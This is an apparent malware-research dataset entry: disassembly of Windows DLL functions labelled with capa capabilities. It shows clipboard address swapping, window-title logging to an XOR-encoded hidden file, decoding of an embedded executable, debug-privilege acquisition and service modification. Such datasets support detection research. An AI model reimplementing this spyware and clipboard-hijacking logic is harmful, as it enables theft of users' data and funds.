joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180007040
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rax, qword [0x1800649b8]
mov rbx, rcx
test rax, rax
je 0x1800071fb
cmp qword [rax + 8], 0
jbe 0x1800071fb
xor edx, edx
call qword [rcx + gethostname]
mov rcx, rbx
mov r13, rax
call qword [rbx + 0x30]
mov rbx, qword [0x1800649b8]
xor esi, esi
mov r12d, eax
cmp qword [rbx + 8], rsi
jbe 0x1800071fb
mov rdx, rsi
mov rcx, rbx
call fcn.18001164c
mov rbx, qword [0x1800649b8]
mov r14, rax
test rbx, rbx
je 0x1800070ff
cmp rsi, qword [rbx + 8]
jae 0x1800070ff
lea rcx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rdx, qword [rbx]
xor r8d, r8d
jmp 0x1800070dc
cmp r8, rsi
jae 0x1800070e1
mov rdx, qword [rdx + 0x10]
inc r8
test rdx, rdx
jne 0x1800070d0
xor edi, edi
test rdx, rdx
je 0x1800070ec
mov rdi, qword [rdx + 8]
lea rcx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rbx, qword [0x1800649b8]
jmp 0x180007101
xor edi, edi
test r14, r14
je 0x180007149
test rdi, rdi
je 0x180007149
xor ebp, ebp
test r12d, r12d
je 0x180007149
lea r15, [rbp*2]
mov rcx, r14
add r15, r13
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rdx, r14
mov rcx, r15
add eax, eax
movsxd r8, eax
call qword [sym.imp.ntdll.dll_memcmp]
test eax, eax
je 0x18000715b
inc ebp
cmp ebp, r12d
jb 0x180007112
mov rbx, qword [0x1800649b8]
inc rsi
cmp rsi, qword [rbx + 8]
jb 0x18000709e
jmp 0x1800071fb
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, rdi
cmp eax, ebx
jg 0x180007179
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rdx, rdi
mov rcx, r15
add eax, eax
movsxd r8, eax
call qword [sym.imp.ntdll.dll_memcpy]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
jne 0x1800071a2
call qword [sym.imp.USER32.dll_CloseClipboard]
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, r12
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x1800071fb
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rdi, rax
test rax, rax
je 0x1800071fb
mov r8, r12
mov rdx, r13
mov rcx, rax
call qword [sym.imp.ntdll.dll_memcpy]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rdx, rdi
mov ecx, reloc.WS2_32.dll_listen
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
mov rbx, qword [rsp + 0x50]
xor eax, eax
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x18000721c
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
cmp dword [0x1800649dc], 0
mov rbx, rcx
je 0x180007434
call qword [rcx + 0x30]
cmp eax, 0x46
jb 0x180007434
mov rcx, rbx
call qword [rbx + 0x30]
xor edx, edx
mov rcx, rbx
call qword [rbx + gethostname]
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
xor r8d, r8d
mov rcx, rsi
lea edx, [rax*2 + 1]
call fcn.1800154f8
movsxd rdi, eax
test eax, eax
jle 0x180007434
xor ecx, ecx
lea rdx, [rdi + 1]
mov r8d, 0x1000
mov r14, rdi
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x180007434
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, rbx
mov rcx, rsi
lea edx, [rax*2 + 1]
call fcn.1800154f8
xor ebp, ebp
mov rdx, rbx
cmp byte [rdx], 0x54
jne 0x18000730e
cmp edi, 0x21
jl 0x180007423
xor ecx, ecx
mov r8b, byte [rdx + rcx]
lea eax, [r8 - 0x30]
cmp al, 0x2a
ja 0x1800072f9
movabs r9, 0x7fffffe03ff
bt r9, rax
jb 0x180007303
sub r8b, 0x61
cmp r8b, 0x19
ja 0x18000730e
inc rcx
cmp rcx, 0x21
jl 0x1800072dd
jmp 0x180007320
inc rdx
inc ebp
mov rax, rdx
dec edi
sub rax, rbx
cmp rax, r14
jl 0x1800072cd
lea rdi, [0x180064a50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
xor r8d, r8d
mov rcx, rdi
lea edx, [rax + rax]
call fcn.1800154f8
xor ecx, ecx
movsxd rdx, eax
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x180007423
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, rsi
mov rcx, rdi
lea edx, [rax + rax]
call fcn.1800154f8
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd rcx, ebp
mov rdx, rsi
add rcx, rbx
movsxd r8, eax
call qword [sym.imp.ntdll.dll_memcpy]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x180007412
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
mov ecx, 2
movsxd rdx, eax
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov qword [0x180064ae0], rax
test rax, rax
je 0x180007412
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rdi, rax
test rax, rax
je 0x180007412
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd r8, eax
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.ntdll.dll_memcpy]
mov rcx, qword [0x180064ae0]
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rdx, rdi
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbx, qword [rsp + 0x30]
xor eax, eax
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x180007690
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x1770]
mov eax, 0x1870
call sub.ntdll.dll___chkstk
sub rsp, rax
mov edi, 0x800
lea rcx, [rbp + 0x770]
mov r8d, edi
xor edx, edx
xor ebx, ebx
call sub.ntdll.dll_memset
mov r8d, edi
mov dword [rbp + 0x1780], ebx
xor edx, edx
mov dword [rbp + 0x1788], ebx
lea rcx, [rbp + 0xf70]
call sub.ntdll.dll_memset
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r8d, 0x400
lea rdx, [rbp + 0x770]
mov rcx, rax
mov qword [0x180064b08], rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov rcx, qword [0x180064b08]
lea rdx, [rbp + 0x1780]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [rbp + 0x1780]
test ecx, ecx
je 0x180007745
lea rdx, [rbp + 0xf70]
call fcn.180015abc
mov ecx, dword [rbp + 0x1780]
lea rdx, [rbp + 0x1788]
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
mov r8, rdi
lea rcx, [rsp + 0x70]
xor edx, edx
call sub.ntdll.dll_memset
mov rax, qword [0x180064b10]
cmp qword [0x180064b08], rax
je 0x18000783d
lea rcx, [rbp + 0x770]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x18000782f
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [rsp + 0x6c]
movzx ecx, word [rsp + 0x6a]
movzx edx, word [rsp + 0x68]
movzx r8d, word [rsp + 0x66]
movzx r9d, word [rsp + 0x62]
movzx r10d, word [rsp + 0x60]
mov dword [rsp + 0x50], eax
lea rax, [rbp + 0x770]
mov dword [rsp + 0x48], ecx
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x40], edx
lea rdx, str._r_n_PROCESS:__s_r_n_USERID:__d_r_n_TITLE:__s_r_n_TIME:__d__d__d___d:_d:_d_r_n
mov dword [rsp + 0x38], r8d
lea r8, [rbp + 0xf70]
mov dword [rsp + 0x30], r9d
mov r9d, dword [rbp + 0x1788]
mov dword [rsp + 0x28], r10d
mov qword [rsp + 0x20], rax
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rsp + 0x70]
lea edx, [rax + rax]
call fcn.180007854
mov r8, rdi
lea rcx, [rsp + 0x70]
xor edx, edx
call qword [sym.imp.ntdll.dll_memset]
mov r8, rdi
lea rcx, [rbp + 0x770]
xor edx, edx
call qword [sym.imp.ntdll.dll_memset]
mov ebx, 1
mov rcx, qword [0x180064b08]
mov qword [0x180064b10], rcx
lea r11, [rsp + 0x1870]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x180007854
Capabilities:
Encode data using xor
Set file attributes
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r14
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov esi, edx
mov r14, rcx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x208
mov dword [0x180064a14], eax
call sub.ntdll.dll_memset
lea rdx, [0x180064794]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str._temp.key
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x40]
and dword [rbp + 0x190], 0
mov edi, 0x80
mov dword [rsp + 0x28], edi
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x20], 3
lea r12d, [rdi - 0x7e]
mov r8d, r12d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x18000796a
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x28], edi
xor r9d, r9d
mov r8d, r12d
mov dword [rsp + 0x20], r12d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r9d, r12d
xor r8d, r8d
mov rcx, rax
xor edx, edx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x190]
mov eax, 0xfeff
lea rdx, [rbp + 0x188]
mov r8d, r12d
mov word [rbp + 0x188], ax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, r12d
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov r9d, r12d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
xor ecx, ecx
movsxd rdx, esi
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x1800079f1
test esi, esi
je 0x1800079b6
mov rcx, rax
sub r14, rax
mov r8, rsi
mov al, byte [rcx + r14]
xor al, 0x62
mov byte [rcx], al
inc rcx
sub r8, 1
jne 0x1800079a5
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x190]
mov r8d, esi
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, r12d
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test rbx, rbx
je 0x1800079ff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x280]
xor eax, eax
add rsp, 0x250
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180009660
Capabilities:
Enumerate files on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x3e8]
sub rsp, 0x4c0
mov r12, qword [rcx]
mov rbx, r8
mov r14, rdx
mov rsi, rcx
xor edx, edx
lea rcx, [rbp + 0x1b0]
mov r8d, 0x208
mov edi, r9d
call sub.ntdll.dll_memset
mov rdx, rbx
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x18005b710]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xor edx, edx
lea rcx, [rsp + 0x60]
mov r8d, 0x250
call sub.ntdll.dll_memset
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ecx, dword [rsi + 8]
xor r13d, r13d
mov dword [rsp + 0x40], ecx
xorps xmm0, xmm0
mov rcx, qword [rsi + 0x10]
mov r15, rax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x20], r13
movdqu xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x48], r13
mov dword [rsp + 0x54], 0x2072024
mov dword [rsp + 0x44], edi
mov dword [rsp + 0x50], r13d
call fcn.180003854
mov rsi, rax
test r15, r15
jne 0x1800097ca
test rax, rax
je 0x180009749
mov rcx, rax
call fcn.18000397c
test r14, r14
je 0x180009756
mov rcx, r14
call fcn.18000397c
lea r11, [rsp + 0x4c0]
xor eax, eax
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
cmp word [rbp - 0x74], 0x2e
jne 0x180009796
movzx eax, word [rbp - 0x72]
test ax, ax
je 0x1800097ca
cmp ax, 0x2e
jne 0x180009796
cmp word [rbp - 0x70], r13w
je 0x1800097ca
test r14, r14
je 0x1800097b9
mov rcx, r14
call qword [r14 + 0x30]
xor edx, edx
mov rcx, r14
mov ebx, eax
call qword [r14 + gethostname]
mov r8d, ebx
mov rcx, rsi
mov rdx, rax
call qword [rsi + 0x28]
mov r8d, 0x250
lea rdx, [rsp + 0x60]
mov rcx, rsi
call qword [rsi + 0x28]
lea rdx, [rsp + 0x60]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x180009779
mov rcx, rsi
call qword [rsi + 0x30]
test eax, eax
jne 0x180009820
test r14, r14
je 0x18000982a
mov rcx, r14
call qword [r14 + 0x30]
xor edx, edx
mov rcx, r14
mov ebx, eax
call qword [r14 + gethostname]
mov r8d, ebx
mov rcx, rsi
mov rdx, rax
call qword [rsi + 0x28]
mov rcx, r14
call qword [r14 + 0x30]
mov rcx, rsi
mov ebx, eax
call qword [rsi + 0x30]
add ebx, eax
mov dword [rsp + 0x48], ebx
jmp 0x18000982a
mov rcx, rsi
call qword [rsi + 0x30]
mov dword [rsp + 0x48], eax
call fcn.180003854
mov r8d, gethostname
lea rdx, [rsp + 0x20]
mov rcx, rax
mov rdi, rax
call qword [rax + 0x28]
mov rcx, rsi
call qword [rsi + 0x30]
xor edx, edx
mov rcx, rsi
mov ebx, eax
call qword [rsi + gethostname]
mov r8d, ebx
mov rcx, rdi
mov rdx, rax
call qword [rdi + 0x28]
mov rcx, rdi
call qword [rdi + 0x30]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call qword [rdi + gethostname]
mov r8d, ebx
mov rcx, r12
mov rdx, rax
call qword [r12 + gethostbyname]
mov rcx, rsi
call fcn.18000397c
mov rcx, rdi
call fcn.18000397c
test r14, r14
je 0x18000989a
mov rcx, r14
call fcn.18000397c
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x180009756
Function at 0x18000a4bc
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x70
and qword [rbp - 0x40], 0
mov rbx, rcx
and dword [rbp - 0x14], 0
xorps xmm0, xmm0
mov rcx, rdx
mov dword [rbp - 0xc], 0x2072024
movdqu xmmword [rbp - 0x38], xmm0
mov rsi, rdx
mov dword [rbp - 0x1c], 0x3004
call qword [rdx + 0x30]
and dword [rbp - 0x10], 0
mov dword [rbp - 0x18], eax
mov eax, dword [rbx + 8]
mov dword [rbp - 0x20], eax
mov rax, qword [rbx + 0x10]
mov qword [rbp - 0x28], rax
call fcn.180003854
mov r8d, gethostname
lea rdx, [rbp - 0x40]
mov rcx, rax
mov rdi, rax
call qword [rax + 0x28]
mov rcx, rsi
call qword [rsi + 0x30]
xor edx, edx
mov rcx, rsi
mov ebx, eax
call qword [rsi + gethostname]
mov r8d, ebx
mov rcx, rdi
mov rdx, rax
call qword [rdi + 0x28]
mov rcx, rsi
call fcn.18000397c
and dword [rbp + 0x10], 0
lea rax, [rbp + 0x10]
mov qword [rsp + 0x28], rax
lea r8, [0x18000a29c]
and dword [rsp + 0x20], 0
mov r9, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [0x180064a18]
test rcx, rcx
je 0x18000a58c
mov edx, dword [rbp + 0x10]
mov r8, rax
call fcn.1800113cc
lea r11, [rsp + 0x70]
xor eax, eax
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x18000b72c
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rdi
sub rsp, 0x20
and dword [rax + 0x10], 0
mov rdi, rcx
and dword [rax + 0x18], 0
mov rdx, rcx
mov ebx, 4
lea rcx, [rax + 0x18]
mov r8d, ebx
call qword [sym.imp.ntdll.dll_memcpy]
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x18000b846
lea rdx, [rax + 4]
mov r8d, ebx
add rdx, rdi
lea rcx, [rsp + 0x38]
call qword [sym.imp.ntdll.dll_memcpy]
mov eax, dword [rsp + 0x38]
test eax, eax
je 0x18000b846
mov edx, eax
mov r9d, ebx
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x18000b7a7
xor eax, eax
jmp 0x18000b849
mov edx, dword [rsp + 0x40]
mov rcx, rbx
mov r8d, dword [rsp + 0x38]
add rdx, 8
add rdx, rdi
call qword [sym.imp.ntdll.dll_memcpy]
cmp byte [rbx], 0x4d
jne 0x18000b7cb
cmp byte [rbx + 1], 0x5a
je 0x18000b7e4
movsxd rcx, dword [rsp + 0x38]
test rcx, rcx
jle 0x18000b7e4
mov rax, rbx
xor byte [rax], 0x3a
inc rax
sub rcx, 1
jne 0x18000b7d8
movsxd rax, dword [rbx + 0x3c]
movzx ecx, word [rax + rbx + 4]
mov eax, 0x200
cmp cx, ax
je 0x18000b82e
mov eax, 0x8664
cmp cx, ax
je 0x18000b82e
mov eax, 0x14c
xor edx, edx
cmp cx, ax
mov r8d, 0x8000
mov rcx, rbx
jne 0x18000b823
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 0x20
jmp 0x18000b849
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x18000b7a0
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 0x40
jmp 0x18000b849
or eax, 0xffffffff
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x18000c5e0
Capabilities:
Acquire debug privileges

Disassembly:
push rbx
sub rsp, 0x20
mov edx, 0x50
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rdx - 0x4c]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x18000c764
mov edx, 1
lea rcx, str.SeDebugPrivilege
call fcn.180015448
call fcn.180011750
lea r8, [0x18000be64]
mov qword [rbx + 0x48], rax
mov edx, 1
mov rcx, rax
call fcn.1800113cc
mov rcx, qword [rbx + 0x48]
lea r8, [0x18000bee4]
mov edx, 2
call fcn.1800113cc
mov rcx, qword [rbx + 0x48]
lea r8, [0x18000bfec]
mov edx, 3
call fcn.1800113cc
mov rcx, qword [rbx + 0x48]
lea r8, [0x18000c240]
mov edx, 4
call fcn.1800113cc
mov rcx, qword [rbx + 0x48]
lea r8, [fcn.18000b854]
mov edx, 5
call fcn.1800113cc
mov rcx, qword [rbx + 0x48]
lea r8, [fcn.18000bb3c]
mov edx, 6
call fcn.1800113cc
mov rcx, qword [rbx + 0x48]
lea r8, [0x18000c4f8]
mov edx, 7
call fcn.1800113cc
mov rcx, qword [rbx + 0x48]
lea r8, [fcn.18000b72c]
mov edx, 8
call fcn.1800113cc
mov rcx, qword [rbx + 0x48]
mov edx, 1
call fcn.180011458
mov rcx, qword [rbx + 0x48]
mov edx, 2
mov qword [rbx], rax
call fcn.180011458
mov rcx, qword [rbx + 0x48]
mov edx, 3
mov qword [rbx + 8], rax
call fcn.180011458
mov rcx, qword [rbx + 0x48]
mov edx, 4
mov qword [rbx + 0x10], rax
call fcn.180011458
mov rcx, qword [rbx + 0x48]
mov edx, 5
mov qword [rbx + 0x18], rax
call fcn.180011458
mov rcx, qword [rbx + 0x48]
mov edx, 6
mov qword [rbx + 0x28], rax
call fcn.180011458
mov rcx, qword [rbx + 0x48]
mov edx, 7
mov qword [rbx + 0x30], rax
call fcn.180011458
mov rcx, qword [rbx + 0x48]
mov edx, 8
mov qword [rbx + 0x38], rax
call fcn.180011458
mov qword [rbx + 0x40], rax
lea rax, [0x18000c3f0]
mov qword [rbx + 0x20], rax
mov rax, rbx
add rsp, 0x20
pop rbx
ret
Function at 0x18000c7a0
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x420
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
xor r8d, r8d
mov rcx, rdi
lea edx, [rax*2 + 1]
call fcn.1800154f8
test eax, eax
jle 0x18000c840
xor ecx, ecx
inc eax
movsxd rdx, eax
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x18000c840
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, rbx
mov rcx, rdi
lea edx, [rax*2 + 1]
call fcn.1800154f8
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x400
call sub.ntdll.dll_memset
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, 3
mov rcx, rbx
cmp eax, edi
jg 0x18000c858
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
or eax, 0xffffffff
lea r11, [rsp + 0x420]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, edi
jle 0x18000c8ae
lea rsi, [rbx + 3]
cmp byte [rsi], 0x5c
jne 0x18000c89c
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x400
call qword [sym.imp.ntdll.dll_memset]
movsxd r8, edi
lea rcx, [rsp + 0x20]
mov rdx, rbx
call qword [sym.imp.ntdll.dll_memcpy]
xor edx, edx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rcx, rbx
inc edi
inc rsi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cmp edi, eax
jl 0x18000c866
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x18000c843
Function at 0x18000ca64
Capabilities:
Modify service

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x240
mov rbp, rcx
call fcn.180015fec
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x208
call sub.ntdll.dll_memset
lea r9, [rbp + 0x92c]
lea r8, [rbp + 0x864]
lea rdx, str._s_s
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_wsprintfW]
xor r8d, r8d
lea rsi, [rbp + 0x670]
mov rcx, rsi
lea edx, [r8 + 0x64]
call fcn.18001e3c0
xor r8d, r8d
lea rcx, [rsp + 0x30]
mov edx, 0x208
mov edi, eax
call fcn.18001e3c0
mov ebx, eax
test edi, edi
js 0x18000cb5c
test eax, eax
js 0x18000cb5c
add edi, 1
mov r14, 0xffffffffffffffff
movsxd rcx, edi
cmovo rcx, r14
call qword [sym.imp.msvcrt.dll_malloc]
add ebx, 1
mov rdi, rax
movsxd rcx, ebx
cmovo rcx, r14
call qword [sym.imp.msvcrt.dll_malloc]
mov rbx, rax
test rdi, rdi
je 0x18000cb4a
test rax, rax
je 0x18000cb4a
mov r8, rdi
lea edx, [r14 + 0x65]
mov rcx, rsi
call fcn.18001e3c0
mov r8, rbx
lea rcx, [rsp + 0x30]
mov edx, 0x208
call fcn.18001e3c0
mov r8, rbx
mov rcx, rdi
call fcn.18001d9b0
mov rcx, rdi
call qword [sym.imp.msvcrt.dll_free]
mov rcx, rbx
call qword [sym.imp.msvcrt.dll_free]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
test rax, rax
jne 0x18000cb7c
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18000cbdf
mov r8d, 0xf01ff
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
lea rcx, [rbp + 0x738]
mov edx, 1
mov qword [rsp + 0x260], rcx
lea r8, [rsp + 0x260]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
test eax, eax
jne 0x18000cbdd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test rdi, rdi
je 0x18000cbd0
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, esi
jmp 0x18000cbdf
xor eax, eax
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret